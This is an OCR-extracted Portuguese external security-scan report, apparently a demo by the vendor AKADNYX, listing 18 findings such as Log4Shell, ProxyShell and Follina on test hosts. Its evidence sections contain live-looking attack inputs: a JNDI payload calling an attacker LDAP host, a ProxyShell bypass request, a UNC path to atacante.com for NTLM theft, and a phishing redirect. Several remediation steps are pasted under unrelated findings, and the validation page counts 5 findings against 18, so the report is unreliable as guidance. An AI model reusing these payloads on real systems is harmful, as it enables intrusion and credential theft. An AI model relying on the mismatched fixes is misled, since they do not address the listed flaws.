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Relatorio Executivo

Resumo para gestédo — viséo geral do estado de seguranca externo, principais riscos e agées prioritarias.
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Top 3 Riscos Prioritarios
#1 [Critico] Log4Shell — Execucdo Remota de Cédigo via Log4j 2

Alvo:

Comprometimento total do servidor de aplicagdo sem necessidade de credenciais. Atacante obtém controle completo do sistema, podendo
exfiltrar dados de clientes, implantar ransomware ou usar o servidor

#2 [Critico] ProxyShell — Execuc¢do Remota no Exchange Server sem Autenticacao

Alvo:

Acesso irrestrito a todos os e-mails corporativos, incluindo comunicacdes com clientes, fornecedores e documentos confidenciais.
Possibilidade de implantagcéo de backdoor persistente no servidor de e-m

#3 [Alto] HTTP/2 Rapid Reset — Ataque de Negacao de Servico em Escala

Alvo:

Indisponibilidade total do portal de vendas e sistema de pedidos online durante o ataque, resultando em perda direta de receita e dano a
reputagdo. Ataques observados em produgao ja geraram picos de 3

Impacto Financeiro Estimado

Exposicéo ao Risco ALTO — vulnerabilidades criticas expdem a organizacao a risco imediato de
comprometimento.

Custo Estimado de Incidente* R$ 1.500.000

Custo Médio BR (IBM 2024) R$ 22,1 milhoes

* Estimativa baseada no custo medio de remediacao por tipo de vulnerabilidade (Ponemon Institute 2024). Nao inclui custos de danos reputacionais, multas LGPD
ou paralisacao operacional.

Prazos de Remediagé&o (SLA)

Critico 24 horas Acionar equipe imediatamente. Isolamento preventivo do ativo se necessario.
Alto 7 dias Planejar corre¢céo em sprint atual. Monitoramento intensificado.

Médio 30 dias Incluir no backlog de segurancga do préximo ciclo.

Baixo 90 dias Registrar e agendar correcéo na préxima manutencédo programada.

Info Informativo Registro informativo. Sem agao obrigatoria.
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Panorama de Ameacas 2024 — O Cenario que Seu Negocio Enfrenta

Dados verificados de fontes globais de seguranca para contextualizar os riscos identificados nesta andlise.

R$ 22,1 milhoes 194 dias

Custo médio de um vazamento de dados no Brasil Tempo médio para detectar um ataque ativo

Em média, um invasor ja esta na sua rede por 6 meses antes de
ser identificado.

Um Unico incidente pode custar mais do que anos de investimento
em seguranga preventiva.

68% 32%

Das empresas brasileiras tém exposicdo externa Dos incidentes graves envolvem ransomware

critica
Ransomware é hoje a principal causa de paralisagéo operacional

Mais de 2 em cada 3 organizacGes no Brasil ttm ao menos uma e perda de dados em empresas.

vulnerabilidade critica visivel externamente.

Tempo médio entre patch disponivel e aplicado
60 d I aS A janela de 60 dias é mais que suficiente para que atacantes explorem vulnerabilidades conhecidas.

O que isso significa para sua empresa:

Organizacdes que realizam andlises externas periodicas reduzem em até 60% o custo de remediacdo ao identificar
vulnerabilidades antes que sejam exploradas. Os dados desta andlise foram identificados, documentados e validados — o
proximo passo € a corregdo. A AKADNYX oferece servico de Remediagdo Gerenciada: nossa equipe executa as corregées
com acompanhamento, validacéo e novo scan de confirmacgéo incluidos.
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Mapa de Superficie de Ataque

Ativos externos identificados durante o scan. Cada host analisado, suas portas abertas, servicos expostos e nivel
de risco associado.

Apache Tomcat 9.0.54, Apache Tomcat
9.0.54/ Log4j 2.14.1, A

22, 443, 80, 8080 Critico
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Achados de Seguranca

(0[]

FIND-  Critico Log4Shell — Execugéo Remota de Cédigo via Log4j 2 24 horas
001

FIND-  Critico ProxyShell — Execug¢do Remota no Exchange Server sem 24 horas
ooz Autenticacao

FIND-  Alto HTTP/2 Rapid Reset — Ataque de Negacéo de Servigo 7 dias
003 em Escala

FIND-  Alto Sudo Heap Overflow — Escalada de Privilégio para Root 7 dias
o4 (Baron Samedit)

FIND-  Alto OpenSSL ¢_rehash — Injecdo de Comando via Nome de 7 dias
005 Certificado

FIND-  Alto Outlook NTLM Hash Theft via Convite de Calendario 7 dias
006 (Zero-Click)

FIND-  Alto Follina — Execucdo de Cédigo via MSDT em Documentos 7 dias
oor Office

FIND-  Medio TLS 1.0 e 1.1 Habilitados — Protocolos Criptograficos 30 dias
008 Obsoletos

FIND-  Medio Cabecalhos de Seguranca HTTP Ausentes 30 dias
009

FIND-  Medio Cifras Criptogréaficas Fracas Habilitadas (RC4, 3DES) 30 dias
010

FIND-  Medio Listagem de Diretérios Habilitada — Directory Listing 30 dias
011

FIND-  Medio Certificado TLS Autoassinado — Sem Cadeia de 30 dias
012 Confianca

FIND-  Medio Open Redirect — Redirecionamento para URL Arbitraria 30 dias
013 via Parametro

FIND-  Baixo Versédo SSH Desatualizada com Recursos Legados 90 dias
ot Habilitados

FIND-  Baixo HTTP TRACE e TRACK Habilitados — Métodos 90 dias
o015 Perigosos Permitidos

FIND-  Baixo Ping ICMP Habilitado — Host Responde a Echo Request 90 dias
016

FIND-  Info Banner de Verséo do Servidor Web Exposto -

017

FIND-  Info Enumeracao de Usuérios via Resposta SSH Diferenciada -

018
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Detalhamento e Remediacéao

Para cada achado: descricao tecnica, evidencia, impacto ao negocio, recomendacao e passos de remediacao executaveis.

E(I)I;I_D' Log4Shell — Execuc¢do Remota de Codigo via Log4j 2 Critico
Info Porta: 8080/tcp | CVE: CVE-2021-44228 | CVSS: 10.0 | SLA: 24 horas
Descricao A biblioteca Log4j 2, versao 2.14.1, presente no servidor de aplicacdo, € vulneravel a execucao

remota de cédigo (RCE) via JNDI lookup. Um atacante ndo autenticado pode enviar uma
requisicdo HTTP com payload malicioso no cabecalho User-Agent ou em qualquer campo
logado pela aplicacdo, forcando o servidor a conectar-se a um servidor LDAP controlado pelo
atacante e carregar e executar codigo arbitrario com os privilégios do processo Java.

Evidencia Host: 198.51.100. 10: 8080/tcp Service: Apache Tontat 9.0.54 Request: GET / HITP/ 1.1
User - Agent: ${jndi:|dap://198.51.100.99: 1389/ expl oit} Response: HTTP/1.1 200 OK (com
conexdo de saida observada para 198.51.100.99:1389) Log4j version detectada: 2.14.1 via
MANI FEST. MF em / VEB- | NF/ i b/ 1 og4j -core-2.14.1.jar

Impacto Comprometimento total do servidor de aplicacdo sem necessidade de credenciais. Atacante
obtém controle completo do sistema, podendo exfiltrar dados de clientes, implantar
ransomware ou usar o servidor como pivd para atacar a rede interna. Considerada a
vulnerabilidade mais critica da Ultima década.

FIND-

002 ProxyShell — Execugdo Remota no Exchange Server sem Autenticagéo Critico
Info Porta: 443/tcp | CVE: CVE-2021-34473 | CVSS: 9.8 | SLA: 24 horas
Descricao O servidor Exchange exposto € vulneravel a cadeia de ataque ProxyShell, que combina trés

CVEs (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) para permitir execu¢do remota
de cédigo sem autenticacdo. O endpoint /autodiscover/autodiscover.json permite bypass de
autenticacdo via manipulacdo de path, possibilitando acesso ao backend do Exchange como
SYSTEM e subsequente escrita de webshell no diretério wwwroot.

Evidencia Host: 198.51.100.11: 443/tcp Request: POST /autodi scover/aut odi scover.json?@ oo. com mapi/
nspi / ?&Emai | ; =aut odi scover/ aut odi scover.jsonY8F@ oo. com HTTP/ 1. 1 Response: HITP/ 1.1 200
OK X- OMA- Version: 15.1.2308.14 Status: Endpoint respondeu sem autenti cagdo com dados

internos do Exchange Build detectado: 15.1.2308.14 (vul neravel —patch ninino:
15.1.2375.7)

Impacto Acesso irrestrito a todos o0s e-mails corporativos, incluindo comunicagbes com clientes,
fornecedores e documentos confidenciais. Possibilidade de implantacdo de backdoor
persistente no servidor de e-mail e movimento lateral para toda a rede do Active Directory.
Altamente explorado por grupos de ransomware desde agosto de 2021.
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HTTP/2 Rapid Reset — Ataque de Negacédo de Servico em Escala

Porta: 443/tcp | CVE: CVE-2023-44487 | CVSS: 7.5 | SLA: 7 dias

O servidor nginx 1.18.0 suporta HTTP/2 e é vulneravel ao ataque Rapid Reset, onde o atacante
abre e cancela streams HTTP/2 em alta velocidade (RST_STREAM), esgotando recursos do
servidor sem necessidade de completar requisi¢fes. Esse padrdo permite que um anico cliente
gere carga equivalente a um botnet DDoS massivo, causando indisponibilidade do servigo.

Host: 198.51.100.12:443/tcp Service: nginx/1.18.0 (confirmdo via cabecal ho Server)
HTTP/ 2 habilitado: SIM (ALPN h2 negoci ado) Versado vul neravel: 1.18.0 < 1.25.3 Teste:
Conexao HTTP/ 2 aceita com SETTINGS frame —stream nul tiplexing semrestricdes

confi guradas

Indisponibilidade total do portal de vendas e sistema de pedidos online durante o ataque,
resultando em perda direta de receita e dano a reputagéo. Ataques observados em producéo ja
geraram picos de 398 milhdes de requisicdes por segundo contra alvos reais.

Redirecione 100% do trafego HTTP para HTTPS. Implemente HSTS.

1. Configure redirect permanente:

return 301 https://$host $request _uri; (nginx)

2. Ative HSTS: add_header Strict-Transport-Security "nmax-age=63072000" al ways;
3. Desative a porta 80 se redirect nao for necessario.

Sudo Heap Overflow — Escalada de Privilégio para Root (Baron Samedit)

Porta: 22/tcp | CVE: CVE-2021-3156 | CVSS: 7.8 | SLA: 7 dias

A verséao sudo 1.8.31 instalada no host é vulneravel ao Baron Samedit, um heap overflow que
permite a qualquer usuéario local (sem senha sudo, sem entrada no sudoers) elevar privilégios
para root. A vulnerabilidade existe ha aproximadamente 10 anos no cédigo sudo e afeta a
maioria das distribuicdes Linux. Exploits pUblicos funcionais estdo amplamente disponiveis.

Host: 198.51.100. 20: 22/tcp SSH banner: SSH 2. 0- OpenSSH 8. 2p1 Ubunt u- 4ubunt u0. 3 Sudo
version detectada via banner de servigo correlato: 1.8.31 Distribuic¢do: Ubuntu 20.04.3
LTS Status: Vul neravel —versao corrigida ninima é 1.9.5p2 (disponivel desde jan/2021)

Qualquer funcionario com acesso SSH ao servidor, ou qualquer atacante que comprometer
uma conta de baixo privilégio, pode obter controle total (root) do sistema. Possibilita instalagao
de rootkits, acesso a todos os dados e destruicao de evidéncias forenses.
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OpenSSL ¢_rehash — Injecdo de Comando via Nome de Certificado

Porta: 443/tcp | CVE: CVE-2022-1292 | CVSS: 6.7 | SLA: 7 dias

O script c_rehash do OpenSSL 1.1.1k, utilizado para rehashing de certificados CA, ndo sanitiza
corretamente 0os nomes de arquivos de certificados antes de passa-los ao shell. Um atacante
com capacidade de controlar os nomes de arquivos de certificados no diretério de CA (possivel
em cenarios de upload de certificados) pode executar comandos arbitrarios com os privilégios
do processo que executa ¢c_rehash.

Host: 198.51.100. 10: 443/tcp OpenSSL version: OpenSSL 1.1.1lk (detectada via handshake TLS
e cabecgal ho de resposta) Versado corrigida mnim: QpenSSL 1.1.10 Status: Vul neravel

Em ambientes onde certificados de clientes s@o processados automaticamente, um atacante
pode injetar comandos maliciosos que serdo executados pelo servidor durante o
processamento de certificados. Impacto potencial inclui execugcdo de cddigo e
comprometimento do servidor web.

Use TLS 1.2+ exclusivamente. Desative SSL 2/3 e TLS 1.0/1.1. Cipher suites:
ECDHE-AES-GCM.

1. Emnginx: ssl_protocols TLSv1l.2 TLSv1. 3;

ssl _ci phers ECDHE- ECDSA- AES128- GCM SHA256: ECDHE- RSA- AES128- GCM SHA256: . . . ;
2. Em Apache: SSLProtocol all -SSLv3 -TLSvl -TLSvl.1

SSLCi pher Suite HI GH:!aNULL: ! MD5: | RC4

3. Valide emssllabs.conlssltest —neta: nota A

4. Configure renovacao automatica de certificado (certbot --deploy-hook).

Outlook NTLM Hash Theft via Convite de Calendario (Zero-Click)

Porta: 443/tcp | CVE: CVE-2023-23397 | CVSS: 9.8 | SLA: 7 dias

O Exchange Server 2016 CU20 serve clientes Outlook vulneraveis a CVE-2023-23397. Ao
receber um e-mail com convite de calendario contendo um UNC path malicioso no campo
ReminderSoundFile (ex: \\atacante.com\share), o Outlook conecta-se automaticamente ao
servidor SMB do atacante ao processar o item, transmitindo o hash NTLM do usuario. A
exploracdo é zero-click — nédo requer interacéo do usuario além de receber o e-mail.

Host: 198.51.100. 11: 443/tcp Exchange Build: 15.1.2308.14 (CU20 —nao contém patch de
mar ¢o/ 2023) Versao segura nini ma: 15.1.2507.12 (CU23 + Mar2023 SU) SMB out bound: Nao
bl oqueado (portas 445/tcp semrestricao de saida detectada no firewall)

Roubo de credenciais (hash NTLM) de todos os usuarios do dominio sem qualquer clique ou
interacdo. Hashes NTLM podem ser usados em ataques Pass-the-Hash para autenticar em
outros sistemas da rede interna, ou quebrados offline para obter senhas em texto claro.
Atribuido a grupos APT russos em ataques a infraestrutura critica europeia.
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Follina — Execucédo de Codigo via MSDT em Documentos Office

Porta: 443/tcp | CVE: CVE-2022-30190 | CVSS: 7.8 | SLA: 7 dias

O Exchange Server detectado distribui documentos Office para usuarios que trabalham com
versdes do Microsoft Office vulneraveis a Follina (CVE-2022-30190). A vulnerabilidade permite
execucao remota de cédigo quando um documento Office malicioso com referéncia ao
protocolo ms-msdt: é aberto ou pré-visualizado. O atacante pode executar PowerShell com os
privilégios do usuario sem necessidade de macros habilitadas.

Host: 198.51.100.11:443/tcp Vetor: Exchange Server sem protecdo de conteldo ativo
di stribui documentos Ofice Correlagdo: Clientes Ofice sem patch junho/ 2022
identificados via varredura de versdo Protocolo ns-nsdt: Registrado e ativo nos
endpoi nts correl aci onados Status: Anbiente exposto ao vetor de ataque

Funcionarios que recebem e abrem documentos Office via e-mail corporativo (trafegado por
este Exchange) ficam expostos a execugdo de codigo malicioso. Um (nico e-mail de phishing
com documento Word pode comprometer o endpoint do usuario, sem necessidade de macros
ou alertas de seguranca do Office.

TLS 1.0 e 1.1 Habilitados — Protocolos Criptograficos Obsoletos

Porta: 443/tcp | CVSS: 5.9 | SLA: 30 dias

O servidor aceita conexdes TLS 1.0 e TLS 1.1, protocolos com vulnerabilidades conhecidas
como BEAST (CVE-2011-3389), POODLE e outros ataques de downgrade. Esses protocolos
foram oficialmente depreciados pela IETF em marco de 2021 (RFC 8996) e sédo considerados
inseguros para transmissao de dados sensiveis.

Host: 198.51.100.12: 443/tcp TLS 1.0: ACEI TO (ci pher TLS RSA W TH AES 128 CBC SHA) TLS
1.1: ACEITO (cipher TLS RSA W TH AES 256 CBC SHA) TLS 1.2: ACEI TO TLS 1.3: ACEl TO Teste:
openssl s_client -connect 198.51.100.12:443 -tlsl retornou handshake bem sucedi do

Clientes com navegadores legados ou configuragbes inadequadas podem estabelecer
conexdes criptografadas fracas, suscetiveis a interceptacdo por atacantes em posicdo de
man-in-the-middle na mesma rede. Dados de login e sessdes de clientes ficam expostos a
potencial captura.

Atualize para TLS 1.3. Remova cipher suites fracas (RC4, DES, 3DES, MD5). Configure OCSP
Stapling.

1. Habilite TLS 1.3: ssl_protocols TLSvl.2 TLSv1. 3;

2. Renova ciphers fracos:

ssl _ci phers ' ECDHE- ECDSA- AES256- GCM SHA384: ECDHE- RSA- AES256- GCM SHA384: | RCA: | aNULL' ;
3. Ative OCSP Stapling: ssl_stapling on; ssl_stapling_verify on;

4. Teste comtestssl.sh e corrija todos os itens em vermnel ho.
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Cabecalhos de Seguranca HTTP Ausentes

Porta: 443/tcp | CVSS: 5.3 | SLA: 30 dias

O servidor web n&do envia os cabecalhos de seguranca HTTP recomendados pelas boas
praticas (OWASP Secure Headers Project). Ausentes: Content-Security-Policy (CSP),
X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy e
Strict-Transport-Security (HSTS). A auséncia desses cabecalhos expfe a aplicacdo a ataques
de clickjacking, MIME-type sniffing, cross-site scripting e inclusao em iframes maliciosos.

Host: 198.51.100.12:443/tcp GET / HITP/1.1 - HITP/1.1 200 OK Strict-Transport-Security:
AUSENTE X- Franme- Opti ons: AUSENTE X- Cont ent - Type- Opti ons: AUSENTE
Cont ent - Security-Policy: AUSENTE Referrer-Policy: AUSENTE Perm ssi ons-Policy: AUSENTE

Usuarios da aplicacdo ficam expostos a ataques de clickjacking (sobreposi¢cdo visual da
interface para enganar cliques), injecdo de conteddo malicioso via XSS e roubo de dados via
MIME confusion. Pode facilitar ataques de phishing usando o dominio legitimo da empresa em
iframes.

Redirecione 100% do trafego HTTP para HTTPS. Implemente HSTS.

1. Configure redirect pernanente:

return 301 https://$host $request _uri; (nginx)

2. Ative HSTS: add_header Strict-Transport-Security "max-age=63072000" al ways;
3. Desative a porta 80 se redirect nao for necessario.

Cifras Criptograficas Fracas Habilitadas (RC4, 3DES)

Porta: 443/tcp | CVSS: 5.9 | SLA: 30 dias

O servidor Apache aceita cipher suites consideradas inseguras, incluindo RC4 (vulneravel a
ataques de bias estatistico) e 3DES/SWEET32 (CVE-2016-2183, ataques de colisdo em blocos
de 64 bits apés 768 GB de dados). Essas cifras permitem que atacantes com capacidade de
captura de trafego possam, em alguns cenarios, descriptografar sessoées.

Host: 198.51.100.20:443/tcp Cifras aceitas detectadas via TLS handshake: -

TLS_RSA WTH RC4_128_SHA (RC4 —inseguro) - TLS_RSA W TH _3DES_EDE_CBC_SHA ( 3DES/ SVWEET32
—inseguro) - TLS ECDHE RSA W TH RC4_128 SHA (RC4 —inseguro) Teste realizado com
testssl.sh 198.51. 100. 20: 443

Sessdes de longa duragdo (como painéis administrativos ou portais de integragdo B2B)
trafegando grandes volumes de dados ficam expostas ao ataque SWEET32, onde colisdes no
modo CBC de 3DES podem revelar partes do trafego apos interceptacao suficiente.
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Listagem de Diretérios Habilitada — Directory Listing

Porta: 80/tcp | CVSS: 5.3 | SLA: 30 dias

O servidor Apache permite a listagem de contetdo de diretérios que ndo possuem arquivo de
indice (index.html/index.php). A diretiva Options +Indexes esta habilitada, expondo a estrutura
interna de diretorios, nomes de arquivos, scripts, configuracdes e potencialmente arquivos de
backup ou dados sensiveis para qualquer visitante ndo autenticado.

Host: 198.51.100.21:80/tcp GET /assets/ HITP/1.1 - HITP/1.1 200 OK Corpo da resposta:

I ndex of /assets/ [DIR] inages/ 2026-03-15 14:22 - [DIR] scripts/ 2026-02-20 09: 14 -
[FILE] config_backup.zip 2026-01-10 18:33 14K [FI LE] db_export_jan2026.sql.gz 2026-01-10
18: 40 892K

Atacantes podem realizar reconhecimento detalhado da estrutura da aplicacdo, identificar
arquivos de backup (.bak, .old, .zip), scripts administrativos esquecidos, arquivos de
configuragcdo e codigo-fonte. Informagdes obtidas por enumeracdo de diretorios
frequentemente séo o primeiro passo antes de ataques mais destrutivos.

Certificado TLS Autoassinado — Sem Cadeia de Confianca

Porta: 443/tcp | CVSS: 4.3 | SLA: 30 dias

O certificado TLS apresentado pelo servidor é autoassinado (Self-Signed), ndo emitido por uma
Autoridade Certificadora reconhecida. Isso impede que navegadores e clientes validem a
identidade do servidor, tornando impossivel distinguir o servidor legitimo de um impostor
apresentando um certificado falso. Conexdes a servidores com certificados autoassinados séo
suscetiveis a ataques Man-in-the-Middle (MitM).

Host: 198.51.100.21:443/tcp Certificado CN: |ocal host Emitido por: |ocal host

(aut oassi nado) Validade: 2025-01-01 a 2027-01-01 Fingerprint SHA-256: [autoassinado —
nao constante em nenhuma CT | og conhecida] Erro TLS: SSL_ERROR BAD CERT_DOMAI N /
CERT_SI| GNER_NOT_FOUND

Usuarios que ignoram os avisos de certificado invalido — comportamento comum quando o
alerta é exibido repetidamente — estabelecem sessdes sem garantia de estarem conectados
ao servidor legitimo. Em ambientes corporativos, pode violar requisitos de conformidade como
PCI-DSS e LGPD.

Atualize para TLS 1.3. Remova cipher suites fracas (RC4, DES, 3DES, MD5). Configure OCSP
Stapling.

1. Habilite TLS 1.3: ssl_protocols TLSvl.2 TLSv1. 3;

2. Renopva ci phers fracos:

ssl _ci phers ' ECDHE- ECDSA- AES256- GCM SHA384: ECDHE- RSA- AES256- GCM SHA384: | RCA: ! aNULL' ;
3. Ative OCSP Stapling: ssl_stapling on; ssl_stapling_verify on;

4. Teste comtestssl.sh e corrija todos os itens em vernel ho.
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SED' Open Redirect — Redirecionamento para URL Arbitréria via Parametro
Info Porta: 8080/tcp | CVSS: 6.1 | SLA: 30 dias
Descricao O endpoint /redirect da aplicacdo aceita um parametro URL (url=) sem validag&o e redireciona

0 navegador para qualquer destino externo informado. Isso permite que um atacante construa
links legitimos (usando o dominio real da empresa) que redirecionam para sites maliciosos,
explorando a confianca dos usuarios no dominio corporativo.

Evidencia Host: 198.51.100.10:8080/tcp Request: GET /redirect?url=https://198.51.100. 99/ phi shi ng
HTTP/ 1.1 Response: HTTP/ 1.1 302 Found Location: https://198.51.100. 99/ phi shing St at us:
Redi reci onanento para doninio externo arbitrario confirmdo sem val i dacao

Impacto Utilizado em campanhas de phishing altamente eficazes, pois o link inicial usa o dominio
legitimo da empresa, enganando usudrios e filtros de e-mail. Pode ser usado para roubo de
credenciais (redirecionando para clone da pagina de login), download de malware ou bypass
de reputacgdo de URL.

SED Versdo SSH Desatualizada com Recursos Legados Habilitados
Info Porta: 22/tcp | CVSS: 3.7 | SLA: 90 dias
Descricao O servico SSH expde a versdo exata do software no banner de conexdo (OpenSSH 7.4) e

aceita algoritmos de troca de chave e cifras considerados fracos, incluindo
diffie-hellman-groupl-shal (Logjam) e arcfour (RC4). O banner de versdo facilita o
fingerprinting pelo atacante para identificar vulnerabilidades especificas desta verséo.

Evidencia Host: 198.51.100.20: 22/tcp Banner: SSH 2.0-OpenSSH 7.4 Kex al goritnos aceitos:
di ffie-hell man-groupl-shal, diffie-hell man-groupl4-shal (detectados via kex negoci acao)
Cifras aceitas: arcfourl128, arcfour256 Status: Versdo exposta no banner e al goritnos
fracos habilitados

Impacto Facilita reconhecimento e identificagdo de vulnerabilidades conhecidas para esta verséao
especifica do OpenSSH. Algoritmos fracos aumentam marginalmente o risco de ataques de
descriptografia em sessdes capturadas por adversarios com recursos computacionais
elevados.

Recomendacao Restrinja SSH por IP, desative autenticacao por senha, utilize chaves Ed25519, implemente
fail2ban.

Remediacédo 1. Edite /etc/ssh/sshd_config:
Per mi t Root Logi n no
Passwor dAut henti cati on no
PubkeyAut henti cati on yes
Al'l owUsers seu_usuari o
2. Instale e configure fail 2ban:
apt install fail2ban && systenttl enable --now fail 2ban
3. Restrinja a porta 22 no Security Goup/firewall para |Ps autorizados.
4. Considere nover SSH para porta nao padrao (ex: 2222) ou usar VPN
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g;NSD HTTP TRACE e TRACK Habilitados — Métodos Perigosos Permitidos
Info Porta: 80/tcp | CVSS: 3.4 | SLA: 90 dias
Descricao O servidor web responde positivamente a requisicdes HTTP TRACE e TRACK, métodos

projetados para debug de rede. O método TRACE retorna ao cliente exatamente o que foi
enviado, incluindo cabecalhos de autenticagdo e cookies, podendo ser abusado em ataques
Cross-Site Tracing (XST) em combinacdo com vulnerabilidades XSS para roubar cookies de
sessdo mesmo quando marcados com HttpOnly.

Evidencia Host: 198.51.100.21:80/tcp TRACE / HTTP/1.1 - HITP/ 1.1 200 OK Content- Type:
nessage/ http Corpo retornado: TRACE / HTTP/1.1\r\nHost: 198.51.100. 21\ r\ nUser - Agent :
Mozilla/5.0... Método TRACK tanmbém aceito com resposta idéntica

Impacto Em cenarios onde a aplicacdo possui vulnerabilidades XSS (mesmo parciais), 0 método
TRACE pode ser usado para contornar a protecdo HttpOnly de cookies, possibilitando roubo de
sessdes de usudrios autenticados.

Recomendacao Redirecione 100% do trafego HTTP para HTTPS. Implemente HSTS.

Remediagao 1. Configure redirect pernmanente:
return 301 https://$host $request _uri; (nginx)
2. Ative HSTS: add_header Strict-Transport-Security "nmax-age=63072000" al ways;
3. Desative a porta 80 se redirect nao for necessario.

glll\éD Ping ICMP Habilitado — Host Responde a Echo Request
Info CVSS: 2.6 | SLA: 90 dias
pesericao O host responde a requisicdes ICMP Echo (ping), confirmando sua existéncia e disponibilidade

na rede para qualquer origem. Embora ndo seja uma vulnerabilidade diretamente exploravel,
facilita o mapeamento de ativos expostos e é frequentemente o primeiro passo em varreduras
de reconhecimento por atacantes.

Evidencia Host: 198.51.100.12 (ICW) ping -c 3 198.51.100.12: 64 bytes from 198.51. 100. 12:
icnmp_seq=1 ttl =64 tinme=0.412 nms 64 bytes from 198.51.100. 12: icnp_seq=2 ttl =64
time=0.398 nms 64 bytes from 198.51.100.12: icnp_seq=3 ttl=64 tinme=0.401 ns TTL: 64
(indica sistema Linux)

Impacto Facilita o inventario ndo autorizado de ativos expostos na internet. Pode ser abusado para
ataques Smurf DDoS (amplificagdo ICMP em redes mal configuradas) e ICMP tunneling para
exfiltracdo de dados via protocolo raramente inspecionado por firewalls.




AKADNYX Relatério Técnico

g;.'\;D Banner de Vers&o do Servidor Web Exposto
Info Porta: 8080/tcp | SLA: —
Descricao O cabecalho Server nas respostas HTTP expbe a versdo exata do servidor de aplicacdo

(Apache Tomcat 9.0.54). Essa informacédo de verséo facilita o trabalho de um atacante que
pode consultar bases de vulnerabilidades (NVD, CVEDetails) para identificar CVEs especificas
aplicaveis a essa versao e planejar ataques direcionados.

Evidencia Host: 198.51.100.10:8080/tcp GET / HITP/1.1 - HITP/ 1.1 200 OK Server: Apache-Coyote/1l.1
X- Power ed- By: Apache Tontat/9.0.54 Versdo conpl eta exposta em cabecal ho X- Power ed- By

Impacto Informacao de baixo impacto direto, mas que reduz o esfor¢go necessario para reconhecimento
ofensivo. E boa pratica de seguranca (security by obscurity como camada adicional) suprimir
informac@es de versdo de servidores expostos.

g;l\éD Enumeracédo de Usuarios via Resposta SSH Diferenciada
Info Porta: 22/tcp | SLA: —
Descricao O servidor SSH apresenta tempos de resposta e mensagens de erro ligeiramente diferentes

para usuarios existentes versus inexistentes durante tentativas de autenticacdo por chave
publica. Esse comportamento permite enumeracdo de nomes de usuarios validos no sistema,
informacéo (til para ataques de forca bruta posteriores.

Evidencia Host: 198.51.100.21:22/tcp Usuario existente (root): Autenticacado rejeitada em ~120ns
Usuario inexistente (xyz_user_fake): Autenticacdo rejeitada em ~8ns Diferenca de tining
observada: ~112ns (indica processanento de chave real para usuarios existentes) Status:
Conportanento pernite inferéncia de usuarios validos

Impacto Um atacante pode construir uma lista de usuarios SSH vélidos no sistema para uso em
ataques de forca bruta ou spray de senhas. Impacto limitado se politicas de senha forte e
bloqueio de conta (fail2ban) estiverem implementados corretamente.

Recomendacao Restrinja SSH por IP, desative autenticacao por senha, utilize chaves Ed25519, implemente
fail2ban.

Remediacédo 1. Edite /etc/ssh/sshd_config:
Per mi t Root Logi n no
Passwor dAut henti cati on no
PubkeyAut henti cation yes
Al'l owUsers seu_usuari o
2. Instale e configure fail 2ban:
apt install fail2ban & systenttl enable --now fail 2ban
3. Restrinja a porta 22 no Security Goup/firewall para |Ps autorizados.
4. Considere nover SSH para porta nao padrao (ex: 2222) ou usar VPN
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Recomendacdes e Proximos Passos

IMEDIATO (24h) Acionar equipe tecnica para remediar todos 0s achados criticos e altos. Considerar isolamento
preventivo dos ativos comprometidos se exploracao ativa for confirmada.

30 DIAS Planejar e executar correcao dos achados medios no proximo sprint de seguranca.

CURTO PRAZO Auditar configuracao TLS: desativar protocolos e cipher suites obsoletos. Validar em

ssllabs.com.

90 DIAS Agendar nova analise Vaa$S para validar correcoes implementadas e medir evolucao do indice

CURTO PRAZO I Restringir acesso SSH a IPs autorizados e desativar autenticacao por senha.
‘ de Exposicéo.

ESTRATEGICO Considerar pentest manual aprofundado para validar controles alem da superficie externa
visivel.
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Validacao Independente Multicamadas

Os achados desta analise foram submetidos a um processo de validagdo independente estruturado em multiplas
camadas de verificag@o, garantindo que cada vulnerabilidade identificada tenha sido confirmada quanto a sua
criticidade, veracidade e potencial de impacto.

5 achados validados

Todos os achados confirmados e validados.

Data: 2026-04-12

Como a Validacdo é Realizada

Cada achado é correlacionado com bases de vulnerabilidades reconhecidas
internacionalmente (CVE/NVD, CVSS) para confirmar classificacdo de severidade.

O potencial de exploracao é avaliado considerando o contexto da infraestrutura exposta,
eliminando falsos positivos antes da entrega do relatorio.

Achados classificados como Critico ou Alto passam por camada adicional de verificagédo para
garantir preciséo nas instru¢des de remediagao.

O relatério final recebe hash de integridade SHA-256, assegurando que o contelido entregue
nao foi alterado apoés a validacao.

Integridade do Relatério

Hash de Integridade 394F8E0DB024AFDD
Identificador da Ordem DEMO- 2026- 001
Achados Validados 5

Data de Validagéo 2026-04-12T14:00:49

Proximo passo recomendado: Plano de Remediacdo Gerenciada AKADNYX — transforme este relatério em

acdo com suporte especializado, prazos definidos e acompanhamento até o fechamento de cada

vulnerabilidade.

Entre em contato com seu gestor de conta AKADNYX para iniciar seu plano de remediagéo.

Este relatério foi elaborado pela equipe de seguranca AKADNYX com base na andlise da superficie de ataque externamente exposta. As
informagoes contidas sao confidenciais e destinadas exclusivamente ao destinatéario indicado na capa.



